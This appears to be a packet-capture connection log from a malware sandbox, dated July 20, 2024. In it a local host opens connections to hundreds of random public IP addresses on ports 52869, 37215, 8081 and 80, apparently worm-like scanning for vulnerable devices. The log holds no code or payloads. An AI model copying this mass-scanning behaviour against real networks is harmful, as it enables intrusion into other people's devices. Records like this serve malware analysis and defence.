Jul 20, 2024 23:05:43.699049950 CEST	52869	43695	175.186.49.31	192.168.2.13
Jul 20, 2024 23:05:43.699050903 CEST	52869	43695	155.61.33.119	192.168.2.13
Jul 20, 2024 23:05:43.699053049 CEST	52869	43695	87.248.254.224	192.168.2.13
Jul 20, 2024 23:05:43.699054003 CEST	52869	43695	195.164.167.51	192.168.2.13
Jul 20, 2024 23:05:43.699054956 CEST	52869	43695	124.186.242.17	192.168.2.13
Jul 20, 2024 23:05:43.699059963 CEST	52869	43695	77.101.155.107	192.168.2.13
Jul 20, 2024 23:05:43.699060917 CEST	52869	43695	161.7.29.3	192.168.2.13
Jul 20, 2024 23:05:43.699060917 CEST	52869	43695	23.254.214.159	192.168.2.13
Jul 20, 2024 23:05:43.699062109 CEST	52869	43695	178.108.156.172	192.168.2.13
Jul 20, 2024 23:05:43.699063063 CEST	52869	43695	48.215.94.34	192.168.2.13
Jul 20, 2024 23:05:43.699064970 CEST	52869	43695	57.25.43.56	192.168.2.13
Jul 20, 2024 23:05:43.699069023 CEST	52869	43695	186.97.247.91	192.168.2.13
Jul 20, 2024 23:05:43.699069977 CEST	52869	43695	60.100.220.212	192.168.2.13
Jul 20, 2024 23:05:43.699070930 CEST	52869	43695	199.12.118.231	192.168.2.13
Jul 20, 2024 23:05:43.699071884 CEST	52869	43695	150.189.234.232	192.168.2.13
Jul 20, 2024 23:05:43.699074984 CEST	52869	43695	184.234.90.152	192.168.2.13
Jul 20, 2024 23:05:43.699075937 CEST	52869	43695	88.185.239.176	192.168.2.13
Jul 20, 2024 23:05:43.699079990 CEST	52869	43695	175.254.53.17	192.168.2.13
Jul 20, 2024 23:05:43.699080944 CEST	52869	43695	125.245.29.93	192.168.2.13
Jul 20, 2024 23:05:43.699083090 CEST	52869	43695	54.16.133.25	192.168.2.13
Jul 20, 2024 23:05:43.699084997 CEST	52869	43695	198.160.250.5	192.168.2.13
Jul 20, 2024 23:05:43.699085951 CEST	52869	43695	68.146.144.224	192.168.2.13
Jul 20, 2024 23:05:43.699086905 CEST	80	49690	95.244.33.243	192.168.2.13
Jul 20, 2024 23:05:43.699090004 CEST	52869	43695	103.254.100.157	192.168.2.13
Jul 20, 2024 23:05:43.699090958 CEST	52869	43695	102.5.58.31	192.168.2.13
Jul 20, 2024 23:05:43.699091911 CEST	52869	43695	99.146.218.161	192.168.2.13
Jul 20, 2024 23:05:43.699094057 CEST	52869	43695	171.17.250.180	192.168.2.13
Jul 20, 2024 23:05:43.699096918 CEST	52869	43695	93.45.199.249	192.168.2.13
Jul 20, 2024 23:05:43.699098110 CEST	80	35442	95.139.27.54	192.168.2.13
Jul 20, 2024 23:05:43.699099064 CEST	52869	43695	162.150.70.147	192.168.2.13
Jul 20, 2024 23:05:43.699100971 CEST	52869	43695	92.19.99.51	192.168.2.13
Jul 20, 2024 23:05:43.699101925 CEST	52869	43695	132.174.178.64	192.168.2.13
Jul 20, 2024 23:05:43.699105978 CEST	52869	43695	23.244.23.40	192.168.2.13
Jul 20, 2024 23:05:43.699107885 CEST	52869	43695	44.82.1.129	192.168.2.13
Jul 20, 2024 23:05:43.699109077 CEST	52869	43695	175.145.228.250	192.168.2.13
Jul 20, 2024 23:05:43.699110985 CEST	52869	43695	54.197.202.202	192.168.2.13
Jul 20, 2024 23:05:43.699114084 CEST	52869	43695	125.189.221.73	192.168.2.13
Jul 20, 2024 23:05:43.699115992 CEST	52869	43695	145.17.101.9	192.168.2.13
Jul 20, 2024 23:05:43.699116945 CEST	52869	43695	106.50.228.155	192.168.2.13
Jul 20, 2024 23:05:43.699120045 CEST	52869	43695	89.43.196.21	192.168.2.13
Jul 20, 2024 23:05:43.699120998 CEST	52869	43695	113.17.144.32	192.168.2.13
Jul 20, 2024 23:05:43.699136019 CEST	52869	43695	196.245.47.234	192.168.2.13
Jul 20, 2024 23:05:43.699136972 CEST	52869	43695	78.12.214.178	192.168.2.13
Jul 20, 2024 23:05:43.699139118 CEST	52869	43695	141.211.12.130	192.168.2.13
Jul 20, 2024 23:05:43.699141026 CEST	52869	43695	70.31.189.127	192.168.2.13
Jul 20, 2024 23:05:43.699141979 CEST	52869	43695	71.198.154.233	192.168.2.13
Jul 20, 2024 23:05:43.699147940 CEST	52869	43695	115.99.23.189	192.168.2.13
Jul 20, 2024 23:05:43.699151039 CEST	52869	43695	188.112.162.77	192.168.2.13
Jul 20, 2024 23:05:43.699151993 CEST	52869	43695	79.0.176.2	192.168.2.13
Jul 20, 2024 23:05:43.699152946 CEST	52869	43695	71.114.147.200	192.168.2.13
Jul 20, 2024 23:05:43.699155092 CEST	52869	43695	156.27.174.77	192.168.2.13
Jul 20, 2024 23:05:43.699157000 CEST	52869	43695	92.99.117.48	192.168.2.13
Jul 20, 2024 23:05:43.699157953 CEST	52869	43695	105.176.211.26	192.168.2.13
Jul 20, 2024 23:05:43.699161053 CEST	52869	43695	24.84.240.76	192.168.2.13
Jul 20, 2024 23:05:43.699161053 CEST	52869	43695	202.81.95.79	192.168.2.13
Jul 20, 2024 23:05:43.699162960 CEST	52869	43695	102.104.217.130	192.168.2.13
Jul 20, 2024 23:05:43.699163914 CEST	52869	43695	129.227.46.247	192.168.2.13
Jul 20, 2024 23:05:43.699168921 CEST	52869	43695	186.1.24.84	192.168.2.13
Jul 20, 2024 23:05:43.699170113 CEST	8081	59114	115.193.221.183	192.168.2.13
Jul 20, 2024 23:05:43.699171066 CEST	8081	59114	115.193.221.183	192.168.2.13
Jul 20, 2024 23:05:43.699172020 CEST	52869	43695	196.181.213.250	192.168.2.13
Jul 20, 2024 23:05:43.699173927 CEST	52869	43695	74.71.196.120	192.168.2.13
Jul 20, 2024 23:05:43.699174881 CEST	52869	43695	87.188.41.115	192.168.2.13
Jul 20, 2024 23:05:43.699176073 CEST	52869	43695	9.197.30.135	192.168.2.13
Jul 20, 2024 23:05:43.699177027 CEST	52869	43695	17.8.7.164	192.168.2.13
Jul 20, 2024 23:05:43.699177980 CEST	52869	43695	83.246.121.116	192.168.2.13
Jul 20, 2024 23:05:43.699182987 CEST	52869	43695	114.244.204.144	192.168.2.13
Jul 20, 2024 23:05:43.699184895 CEST	52869	43695	89.253.216.119	192.168.2.13
Jul 20, 2024 23:05:43.699186087 CEST	52869	43695	60.71.107.49	192.168.2.13
Jul 20, 2024 23:05:43.699187040 CEST	52869	43695	101.206.93.128	192.168.2.13
Jul 20, 2024 23:05:43.699189901 CEST	52869	43695	104.67.128.97	192.168.2.13
Jul 20, 2024 23:05:43.699191093 CEST	52869	43695	189.48.136.49	192.168.2.13
Jul 20, 2024 23:05:43.699192047 CEST	52869	43695	95.209.35.52	192.168.2.13
Jul 20, 2024 23:05:43.699196100 CEST	52869	43695	84.121.194.203	192.168.2.13
Jul 20, 2024 23:05:43.699202061 CEST	52869	43695	92.162.75.205	192.168.2.13
Jul 20, 2024 23:05:43.699203968 CEST	52869	43695	103.6.67.29	192.168.2.13
Jul 20, 2024 23:05:43.699207067 CEST	52869	43695	123.69.225.115	192.168.2.13
Jul 20, 2024 23:05:43.699208021 CEST	52869	43695	58.2.216.120	192.168.2.13
Jul 20, 2024 23:05:43.699209929 CEST	52869	43695	99.163.209.96	192.168.2.13
Jul 20, 2024 23:05:43.699210882 CEST	52869	43695	194.3.139.132	192.168.2.13
Jul 20, 2024 23:05:43.699212074 CEST	52869	43695	117.48.153.157	192.168.2.13
Jul 20, 2024 23:05:43.699213028 CEST	52869	43695	115.215.194.200	192.168.2.13
Jul 20, 2024 23:05:43.699217081 CEST	52869	43695	23.209.58.80	192.168.2.13
Jul 20, 2024 23:05:43.699218988 CEST	52869	43695	99.19.172.216	192.168.2.13
Jul 20, 2024 23:05:43.699220896 CEST	52869	43695	173.96.138.37	192.168.2.13
Jul 20, 2024 23:05:43.699235916 CEST	52869	43695	43.178.214.176	192.168.2.13
Jul 20, 2024 23:05:43.699237108 CEST	52869	43695	68.118.249.231	192.168.2.13
Jul 20, 2024 23:05:43.699240923 CEST	52869	43695	85.245.51.1	192.168.2.13
Jul 20, 2024 23:05:43.699244976 CEST	52869	43695	178.151.223.150	192.168.2.13
Jul 20, 2024 23:05:43.699245930 CEST	52869	43695	84.81.57.181	192.168.2.13
Jul 20, 2024 23:05:43.699248075 CEST	52869	43695	53.63.142.176	192.168.2.13
Jul 20, 2024 23:05:43.699249983 CEST	8081	59034	178.81.111.121	192.168.2.13
Jul 20, 2024 23:05:43.699254036 CEST	52869	43695	5.30.21.150	192.168.2.13
Jul 20, 2024 23:05:43.699254990 CEST	52869	43695	172.48.99.206	192.168.2.13
Jul 20, 2024 23:05:43.699255943 CEST	52869	43695	59.53.226.46	192.168.2.13
Jul 20, 2024 23:05:43.699256897 CEST	52869	43695	94.228.53.231	192.168.2.13
Jul 20, 2024 23:05:43.699256897 CEST	80	33872	95.77.7.73	192.168.2.13
Jul 20, 2024 23:05:43.699259043 CEST	8081	53954	223.204.31.236	192.168.2.13
Jul 20, 2024 23:05:43.699265003 CEST	52869	43695	220.59.149.86	192.168.2.13
Jul 20, 2024 23:05:43.699266911 CEST	52869	43695	115.245.16.65	192.168.2.13
Jul 20, 2024 23:05:43.699276924 CEST	52869	43695	52.91.75.201	192.168.2.13
Jul 20, 2024 23:05:43.699281931 CEST	52869	43695	54.248.88.79	192.168.2.13
Jul 20, 2024 23:05:43.699284077 CEST	80	50186	95.70.247.253	192.168.2.13
Jul 20, 2024 23:05:43.699285984 CEST	52869	43695	209.179.245.138	192.168.2.13
Jul 20, 2024 23:05:43.699297905 CEST	52869	43695	18.188.80.2	192.168.2.13
Jul 20, 2024 23:05:43.699299097 CEST	8081	54952	102.95.56.173	192.168.2.13
Jul 20, 2024 23:05:43.699301958 CEST	52869	43695	60.82.172.81	192.168.2.13
Jul 20, 2024 23:05:43.699302912 CEST	52869	43695	94.34.177.116	192.168.2.13
Jul 20, 2024 23:05:43.699310064 CEST	80	59260	95.174.198.161	192.168.2.13
Jul 20, 2024 23:05:43.699311972 CEST	52869	43695	180.84.26.162	192.168.2.13
Jul 20, 2024 23:05:43.699312925 CEST	80	50754	95.135.233.161	192.168.2.13
Jul 20, 2024 23:05:43.699322939 CEST	8081	48176	68.152.129.142	192.168.2.13
Jul 20, 2024 23:05:43.699325085 CEST	52869	43695	196.2.239.143	192.168.2.13
Jul 20, 2024 23:05:43.699327946 CEST	52869	43695	42.199.81.89	192.168.2.13
Jul 20, 2024 23:05:43.699327946 CEST	52869	43695	97.182.93.20	192.168.2.13
Jul 20, 2024 23:05:43.699331045 CEST	52869	43695	44.221.205.26	192.168.2.13
Jul 20, 2024 23:05:43.699332952 CEST	52869	43695	89.54.214.2	192.168.2.13
Jul 20, 2024 23:05:43.699343920 CEST	52869	43695	73.47.62.241	192.168.2.13
Jul 20, 2024 23:05:43.699347019 CEST	52869	43695	108.46.86.209	192.168.2.13
Jul 20, 2024 23:05:43.699372053 CEST	80	60804	95.96.165.243	192.168.2.13
Jul 20, 2024 23:05:43.699389935 CEST	8081	46284	201.159.112.182	192.168.2.13
Jul 20, 2024 23:05:43.699392080 CEST	80	37050	95.122.50.119	192.168.2.13
Jul 20, 2024 23:05:43.699404001 CEST	80	37484	95.58.237.131	192.168.2.13
Jul 20, 2024 23:05:43.700268984 CEST	8081	57658	206.53.199.156	192.168.2.13
Jul 20, 2024 23:05:43.701447964 CEST	50968	80	192.168.2.13	95.114.134.52
Jul 20, 2024 23:05:43.701447964 CEST	44719	37215	192.168.2.13	41.134.249.120
Jul 20, 2024 23:05:43.701828003 CEST	43695	52869	192.168.2.13	125.44.120.50
Jul 20, 2024 23:05:43.701828003 CEST	43695	52869	192.168.2.13	146.129.117.141
Jul 20, 2024 23:05:43.701828003 CEST	44719	37215	192.168.2.13	14.66.120.173
Jul 20, 2024 23:05:43.701828003 CEST	44719	37215	192.168.2.13	157.123.122.208
Jul 20, 2024 23:05:43.701828957 CEST	44719	37215	192.168.2.13	157.26.33.239
Jul 20, 2024 23:05:43.701828957 CEST	43695	52869	192.168.2.13	47.102.47.49
Jul 20, 2024 23:05:43.701828957 CEST	44719	37215	192.168.2.13	197.222.47.254
Jul 20, 2024 23:05:43.701828957 CEST	43695	52869	192.168.2.13	156.201.132.229
Jul 20, 2024 23:05:43.701977015 CEST	43695	52869	192.168.2.13	158.236.84.25
Jul 20, 2024 23:05:43.701977015 CEST	43695	52869	192.168.2.13	179.75.232.250
Jul 20, 2024 23:05:43.701977015 CEST	44719	37215	192.168.2.13	149.109.190.211
Jul 20, 2024 23:05:43.701977015 CEST	44719	37215	192.168.2.13	173.144.54.77
Jul 20, 2024 23:05:43.701977015 CEST	44719	37215	192.168.2.13	197.48.50.149
Jul 20, 2024 23:05:43.701977015 CEST	44719	37215	192.168.2.13	197.152.241.56
Jul 20, 2024 23:05:43.702044010 CEST	8081	38284	209.25.30.35	192.168.2.13
Jul 20, 2024 23:05:43.702677011 CEST	43695	52869	192.168.2.13	202.162.146.240
Jul 20, 2024 23:05:43.702677011 CEST	43695	52869	192.168.2.13	204.239.21.183
Jul 20, 2024 23:05:43.702677011 CEST	43695	52869	192.168.2.13	173.1.195.49
Jul 20, 2024 23:05:43.702677011 CEST	43695	52869	192.168.2.13	183.31.29.79
Jul 20, 2024 23:05:43.702677011 CEST	43695	52869	192.168.2.13	122.129.95.168
Jul 20, 2024 23:05:43.702677011 CEST	43695	52869	192.168.2.13	129.84.143.135
Jul 20, 2024 23:05:43.703341007 CEST	43695	52869	192.168.2.13	50.79.81.230
Jul 20, 2024 23:05:43.703341007 CEST	43695	52869	192.168.2.13	106.105.31.52
Jul 20, 2024 23:05:43.703341007 CEST	43695	52869	192.168.2.13	93.119.225.205
Jul 20, 2024 23:05:43.704174995 CEST	44719	37215	192.168.2.13	174.151.10.205
Jul 20, 2024 23:05:43.704174995 CEST	44719	37215	192.168.2.13	157.198.117.42
Jul 20, 2024 23:05:43.704174995 CEST	44719	37215	192.168.2.13	41.185.162.42
Jul 20, 2024 23:05:43.706888914 CEST	47906	80	192.168.2.13	95.169.39.23
Jul 20, 2024 23:05:43.707220078 CEST	44719	37215	192.168.2.13	41.109.73.137
Jul 20, 2024 23:05:43.707220078 CEST	44719	37215	192.168.2.13	107.94.218.208
Jul 20, 2024 23:05:43.707220078 CEST	54968	80	192.168.2.13	95.50.45.64
Jul 20, 2024 23:05:43.707524061 CEST	43695	52869	192.168.2.13	31.102.65.124
Jul 20, 2024 23:05:43.707524061 CEST	43695	52869	192.168.2.13	186.48.2.180
Jul 20, 2024 23:05:43.707524061 CEST	43695	52869	192.168.2.13	50.153.17.84
Jul 20, 2024 23:05:43.707524061 CEST	43695	52869	192.168.2.13	20.47.228.180
Jul 20, 2024 23:05:43.707524061 CEST	43695	52869	192.168.2.13	212.163.69.151
Jul 20, 2024 23:05:43.707525015 CEST	43695	52869	192.168.2.13	144.147.149.140
Jul 20, 2024 23:05:43.707525015 CEST	43695	52869	192.168.2.13	77.107.134.16
Jul 20, 2024 23:05:43.708708048 CEST	44719	37215	192.168.2.13	41.20.254.53
Jul 20, 2024 23:05:43.708708048 CEST	44719	37215	192.168.2.13	41.202.234.61
Jul 20, 2024 23:05:43.708708048 CEST	44719	37215	192.168.2.13	54.183.170.155
Jul 20, 2024 23:05:43.708708048 CEST	44719	37215	192.168.2.13	103.254.213.37
Jul 20, 2024 23:05:43.708708048 CEST	43695	52869	192.168.2.13	67.126.29.182
Jul 20, 2024 23:05:43.708708048 CEST	43695	52869	192.168.2.13	167.228.36.177
Jul 20, 2024 23:05:43.708708048 CEST	43695	52869	192.168.2.13	181.155.138.141
Jul 20, 2024 23:05:43.709327936 CEST	43695	52869	192.168.2.13	8.108.126.3
Jul 20, 2024 23:05:43.709328890 CEST	43695	52869	192.168.2.13	69.198.80.181
Jul 20, 2024 23:05:43.709328890 CEST	43695	52869	192.168.2.13	203.148.197.50
Jul 20, 2024 23:05:43.709328890 CEST	43695	52869	192.168.2.13	181.42.23.104
Jul 20, 2024 23:05:43.709328890 CEST	43695	52869	192.168.2.13	170.62.129.42
Jul 20, 2024 23:05:43.709328890 CEST	43695	52869	192.168.2.13	137.217.59.192
Jul 20, 2024 23:05:43.709328890 CEST	43695	52869	192.168.2.13	219.94.210.22
Jul 20, 2024 23:05:43.709328890 CEST	43695	52869	192.168.2.13	82.111.222.106
Jul 20, 2024 23:05:43.709403992 CEST	8081	51954	48.169.101.121	192.168.2.13
Jul 20, 2024 23:05:43.710621119 CEST	50754	80	192.168.2.13	95.135.233.161
Jul 20, 2024 23:05:43.710621119 CEST	50186	80	192.168.2.13	95.70.247.253
Jul 20, 2024 23:05:43.710621119 CEST	54952	8081	192.168.2.13	102.95.56.173
Jul 20, 2024 23:05:43.710621119 CEST	33872	80	192.168.2.13	95.77.7.73
Jul 20, 2024 23:05:43.711112022 CEST	43695	52869	192.168.2.13	196.103.208.224
Jul 20, 2024 23:05:43.711112022 CEST	44719	37215	192.168.2.13	197.36.40.211
Jul 20, 2024 23:05:43.711112022 CEST	43695	52869	192.168.2.13	98.70.129.196
Jul 20, 2024 23:05:43.711112022 CEST	43695	52869	192.168.2.13	76.238.160.42
Jul 20, 2024 23:05:43.711112022 CEST	43695	52869	192.168.2.13	90.189.200.28
Jul 20, 2024 23:05:43.711112022 CEST	43695	52869	192.168.2.13	13.188.240.48
Jul 20, 2024 23:05:43.711112022 CEST	43695	52869	192.168.2.13	92.63.48.74
Jul 20, 2024 23:05:43.711112022 CEST	43695	52869	192.168.2.13	18.222.183.209
Jul 20, 2024 23:05:43.713913918 CEST	8081	41374	68.208.130.213	192.168.2.13
Jul 20, 2024 23:05:43.714266062 CEST	53954	8081	192.168.2.13	223.204.31.236
Jul 20, 2024 23:05:43.714576960 CEST	8081	52208	137.17.247.121	192.168.2.13
Jul 20, 2024 23:05:43.715369940 CEST	43695	52869	192.168.2.13	137.163.53.8
Jul 20, 2024 23:05:43.715370893 CEST	43695	52869	192.168.2.13	14.249.153.183
Jul 20, 2024 23:05:43.715370893 CEST	43695	52869	192.168.2.13	79.243.8.234
Jul 20, 2024 23:05:43.715370893 CEST	43695	52869	192.168.2.13	137.38.178.113
Jul 20, 2024 23:05:43.715370893 CEST	43695	52869	192.168.2.13	79.206.180.51
Jul 20, 2024 23:05:43.715370893 CEST	42788	80	192.168.2.13	95.62.175.224
Jul 20, 2024 23:05:43.715370893 CEST	37768	80	192.168.2.13	95.123.15.205
Jul 20, 2024 23:05:43.716110945 CEST	43695	52869	192.168.2.13	24.239.206.244
Jul 20, 2024 23:05:43.716110945 CEST	43695	52869	192.168.2.13	96.236.42.81
Jul 20, 2024 23:05:43.716110945 CEST	43695	52869	192.168.2.13	210.24.219.144
Jul 20, 2024 23:05:43.716110945 CEST	43695	52869	192.168.2.13	165.176.62.46
Jul 20, 2024 23:05:43.716110945 CEST	43695	52869	192.168.2.13	49.124.37.37
Jul 20, 2024 23:05:43.716110945 CEST	43695	52869	192.168.2.13	190.86.77.164
Jul 20, 2024 23:05:43.716110945 CEST	43695	52869	192.168.2.13	125.151.119.214
Jul 20, 2024 23:05:43.716110945 CEST	43695	52869	192.168.2.13	184.50.231.75
Jul 20, 2024 23:05:43.717082977 CEST	43695	52869	192.168.2.13	14.188.41.20
Jul 20, 2024 23:05:43.717082977 CEST	43695	52869	192.168.2.13	152.165.114.219
Jul 20, 2024 23:05:43.717082977 CEST	43695	52869	192.168.2.13	124.135.28.138
Jul 20, 2024 23:05:43.717082977 CEST	43695	52869	192.168.2.13	24.224.53.97
Jul 20, 2024 23:05:43.717082977 CEST	43695	52869	192.168.2.13	57.166.130.207
Jul 20, 2024 23:05:43.717082977 CEST	43695	52869	192.168.2.13	195.226.70.241
Jul 20, 2024 23:05:43.717097044 CEST	80	56804	95.81.214.18	192.168.2.13
Jul 20, 2024 23:05:43.717217922 CEST	43695	52869	192.168.2.13	58.93.0.79
Jul 20, 2024 23:05:43.717217922 CEST	43695	52869	192.168.2.13	60.117.27.138
Jul 20, 2024 23:05:43.717217922 CEST	43695	52869	192.168.2.13	198.69.74.41
Jul 20, 2024 23:05:43.717217922 CEST	44719	37215	192.168.2.13	77.58.210.2
Jul 20, 2024 23:05:43.717217922 CEST	43695	52869	192.168.2.13	200.110.135.217
Jul 20, 2024 23:05:43.717217922 CEST	43695	52869	192.168.2.13	203.12.34.170
Jul 20, 2024 23:05:43.717217922 CEST	44719	37215	192.168.2.13	157.215.204.49
Jul 20, 2024 23:05:43.717217922 CEST	44719	37215	192.168.2.13	41.25.165.74
Jul 20, 2024 23:05:43.717566013 CEST	8081	45394	121.121.132.42	192.168.2.13
Jul 20, 2024 23:05:43.718548059 CEST	8081	45734	139.176.103.99	192.168.2.13
Jul 20, 2024 23:05:43.718803883 CEST	43695	52869	192.168.2.13	211.241.97.241
Jul 20, 2024 23:05:43.718803883 CEST	43695	52869	192.168.2.13	182.241.73.109
Jul 20, 2024 23:05:43.718803883 CEST	43695	52869	192.168.2.13	51.93.60.190
Jul 20, 2024 23:05:43.718803883 CEST	43695	52869	192.168.2.13	151.161.20.113
Jul 20, 2024 23:05:43.718803883 CEST	43695	52869	192.168.2.13	157.17.172.136
Jul 20, 2024 23:05:43.718803883 CEST	43695	52869	192.168.2.13	97.46.68.80
Jul 20, 2024 23:05:43.718803883 CEST	43695	52869	192.168.2.13	41.87.237.59
Jul 20, 2024 23:05:43.719376087 CEST	58656	8081	192.168.2.13	17.188.164.234
Jul 20, 2024 23:05:43.720191002 CEST	8081	60284	47.44.23.215	192.168.2.13
Jul 20, 2024 23:05:43.720828056 CEST	44719	37215	192.168.2.13	197.67.118.172
Jul 20, 2024 23:05:43.720828056 CEST	43695	52869	192.168.2.13	165.58.160.170
Jul 20, 2024 23:05:43.720828056 CEST	44719	37215	192.168.2.13	160.109.118.62
Jul 20, 2024 23:05:43.720828056 CEST	43695	52869	192.168.2.13	89.205.161.221
Jul 20, 2024 23:05:43.720828056 CEST	44719	37215	192.168.2.13	197.106.191.68
Jul 20, 2024 23:05:43.720828056 CEST	43695	52869	192.168.2.13	65.20.186.148
Jul 20, 2024 23:05:43.720828056 CEST	43695	52869	192.168.2.13	222.227.236.170
Jul 20, 2024 23:05:43.720828056 CEST	43695	52869	192.168.2.13	116.232.204.154
Jul 20, 2024 23:05:43.722580910 CEST	43695	52869	192.168.2.13	200.122.134.135
Jul 20, 2024 23:05:43.722580910 CEST	43695	52869	192.168.2.13	91.184.137.94
Jul 20, 2024 23:05:43.722582102 CEST	43695	52869	192.168.2.13	185.230.89.147
Jul 20, 2024 23:05:43.722582102 CEST	43695	52869	192.168.2.13	177.165.244.181
Jul 20, 2024 23:05:43.722582102 CEST	43695	52869	192.168.2.13	27.22.131.53
Jul 20, 2024 23:05:43.722582102 CEST	43695	52869	192.168.2.13	57.173.31.25
Jul 20, 2024 23:05:43.722582102 CEST	43695	52869	192.168.2.13	193.88.243.103
Jul 20, 2024 23:05:43.722582102 CEST	43695	52869	192.168.2.13	50.58.69.238
Jul 20, 2024 23:05:43.723144054 CEST	43695	52869	192.168.2.13	190.75.119.63
Jul 20, 2024 23:05:43.723144054 CEST	44719	37215	192.168.2.13	41.193.50.72
Jul 20, 2024 23:05:43.723144054 CEST	44719	37215	192.168.2.13	194.108.124.249
Jul 20, 2024 23:05:43.723144054 CEST	43695	52869	192.168.2.13	45.183.149.181
Jul 20, 2024 23:05:43.723144054 CEST	44719	37215	192.168.2.13	157.9.201.54
Jul 20, 2024 23:05:43.723144054 CEST	43695	52869	192.168.2.13	119.109.168.56
Jul 20, 2024 23:05:43.723144054 CEST	43695	52869	192.168.2.13	91.175.76.251
Jul 20, 2024 23:05:43.723144054 CEST	44719	37215	192.168.2.13	157.60.86.134
Jul 20, 2024 23:05:43.723300934 CEST	43695	52869	192.168.2.13	156.224.105.206
Jul 20, 2024 23:05:43.723300934 CEST	43695	52869	192.168.2.13	57.7.250.192
Jul 20, 2024 23:05:43.723300934 CEST	43695	52869	192.168.2.13	1.118.243.36
Jul 20, 2024 23:05:43.723300934 CEST	43695	52869	192.168.2.13	17.175.70.16
Jul 20, 2024 23:05:43.723300934 CEST	43695	52869	192.168.2.13	76.127.105.203
Jul 20, 2024 23:05:43.723300934 CEST	43695	52869	192.168.2.13	2.59.107.213
Jul 20, 2024 23:05:43.723773003 CEST	43695	52869	192.168.2.13	93.131.83.172
Jul 20, 2024 23:05:43.723773003 CEST	43695	52869	192.168.2.13	170.150.160.238
Jul 20, 2024 23:05:43.723773003 CEST	43695	52869	192.168.2.13	158.145.6.59
Jul 20, 2024 23:05:43.723773003 CEST	43695	52869	192.168.2.13	161.48.58.98
Jul 20, 2024 23:05:43.723773003 CEST	43695	52869	192.168.2.13	91.34.161.248
Jul 20, 2024 23:05:43.723773003 CEST	43695	52869	192.168.2.13	157.104.97.89
Jul 20, 2024 23:05:43.723773003 CEST	43695	52869	192.168.2.13	84.59.151.133
Jul 20, 2024 23:05:43.724632025 CEST	80	35028	95.124.107.190	192.168.2.13
Jul 20, 2024 23:05:43.726500988 CEST	48176	8081	192.168.2.13	68.152.129.142
Jul 20, 2024 23:05:43.726501942 CEST	59034	8081	192.168.2.13	178.81.111.121
Jul 20, 2024 23:05:43.727305889 CEST	43695	52869	192.168.2.13	154.250.137.3
Jul 20, 2024 23:05:43.727305889 CEST	44719	37215	192.168.2.13	84.100.167.241
Jul 20, 2024 23:05:43.727305889 CEST	43695	52869	192.168.2.13	129.185.18.97
Jul 20, 2024 23:05:43.727305889 CEST	44719	37215	192.168.2.13	41.150.127.214
Jul 20, 2024 23:05:43.727305889 CEST	43695	52869	192.168.2.13	46.234.96.133
Jul 20, 2024 23:05:43.727305889 CEST	43695	52869	192.168.2.13	9.71.171.156
Jul 20, 2024 23:05:43.727305889 CEST	43695	52869	192.168.2.13	63.206.227.29
Jul 20, 2024 23:05:43.727305889 CEST	43695	52869	192.168.2.13	95.117.196.93
Jul 20, 2024 23:05:43.727374077 CEST	8081	37628	223.9.8.159	192.168.2.13
Jul 20, 2024 23:05:43.727412939 CEST	43695	52869	192.168.2.13	186.147.73.189
Jul 20, 2024 23:05:43.727412939 CEST	43695	52869	192.168.2.13	199.149.78.113
Jul 20, 2024 23:05:43.727412939 CEST	43695	52869	192.168.2.13	125.155.141.188
Jul 20, 2024 23:05:43.727412939 CEST	43695	52869	192.168.2.13	143.182.219.216
Jul 20, 2024 23:05:43.727412939 CEST	43695	52869	192.168.2.13	39.235.225.32
Jul 20, 2024 23:05:43.727412939 CEST	43695	52869	192.168.2.13	218.3.255.63
Jul 20, 2024 23:05:43.727412939 CEST	43695	52869	192.168.2.13	53.232.116.38
Jul 20, 2024 23:05:43.727412939 CEST	43695	52869	192.168.2.13	146.249.128.232
Jul 20, 2024 23:05:43.727452040 CEST	43695	52869	192.168.2.13	203.142.231.123
Jul 20, 2024 23:05:43.727452040 CEST	43695	52869	192.168.2.13	40.238.100.169
Jul 20, 2024 23:05:43.727452040 CEST	43695	52869	192.168.2.13	167.162.143.203
Jul 20, 2024 23:05:43.727452040 CEST	43695	52869	192.168.2.13	189.181.162.177
Jul 20, 2024 23:05:43.727452040 CEST	43695	52869	192.168.2.13	168.38.193.113
Jul 20, 2024 23:05:43.727452040 CEST	43695	52869	192.168.2.13	147.81.32.80
Jul 20, 2024 23:05:43.727452040 CEST	43695	52869	192.168.2.13	90.243.56.29
Jul 20, 2024 23:05:43.728116989 CEST	43695	52869	192.168.2.13	65.31.196.172
Jul 20, 2024 23:05:43.728116989 CEST	43695	52869	192.168.2.13	166.127.240.93
Jul 20, 2024 23:05:43.728116989 CEST	43695	52869	192.168.2.13	140.214.174.122
Jul 20, 2024 23:05:43.728116989 CEST	43695	52869	192.168.2.13	197.219.51.225
Jul 20, 2024 23:05:43.728116989 CEST	43695	52869	192.168.2.13	122.30.75.5
Jul 20, 2024 23:05:43.728116989 CEST	44719	37215	192.168.2.13	197.148.126.129
Jul 20, 2024 23:05:43.728116989 CEST	43695	52869	192.168.2.13	91.215.44.162
Jul 20, 2024 23:05:43.728116989 CEST	43695	52869	192.168.2.13	165.60.239.141
Jul 20, 2024 23:05:43.728389978 CEST	80	50154	95.203.152.93	192.168.2.13
Jul 20, 2024 23:05:43.728503942 CEST	60804	80	192.168.2.13	95.96.165.243
Jul 20, 2024 23:05:43.728703976 CEST	8081	58656	17.188.164.234	192.168.2.13
Jul 20, 2024 23:05:43.729172945 CEST	8081	43090	1.220.154.182	192.168.2.13
Jul 20, 2024 23:05:43.730000019 CEST	8081	45248	157.212.128.61	192.168.2.13
Jul 20, 2024 23:05:43.731044054 CEST	43695	52869	192.168.2.13	90.184.135.171
Jul 20, 2024 23:05:43.731044054 CEST	43695	52869	192.168.2.13	130.244.250.133
Jul 20, 2024 23:05:43.731044054 CEST	43695	52869	192.168.2.13	13.16.192.59
Jul 20, 2024 23:05:43.731044054 CEST	43695	52869	192.168.2.13	91.180.180.99
Jul 20, 2024 23:05:43.731044054 CEST	43695	52869	192.168.2.13	111.71.225.30
Jul 20, 2024 23:05:43.731044054 CEST	43695	52869	192.168.2.13	118.176.13.148
Jul 20, 2024 23:05:43.731044054 CEST	43695	52869	192.168.2.13	17.218.29.200
Jul 20, 2024 23:05:43.731044054 CEST	43695	52869	192.168.2.13	72.213.252.244
Jul 20, 2024 23:05:43.731776953 CEST	43695	52869	192.168.2.13	182.126.2.209
Jul 20, 2024 23:05:43.731776953 CEST	43695	52869	192.168.2.13	41.149.43.255
Jul 20, 2024 23:05:43.731776953 CEST	43695	52869	192.168.2.13	51.100.100.198
Jul 20, 2024 23:05:43.731776953 CEST	43695	52869	192.168.2.13	160.223.182.244
Jul 20, 2024 23:05:43.731776953 CEST	43695	52869	192.168.2.13	79.193.255.88
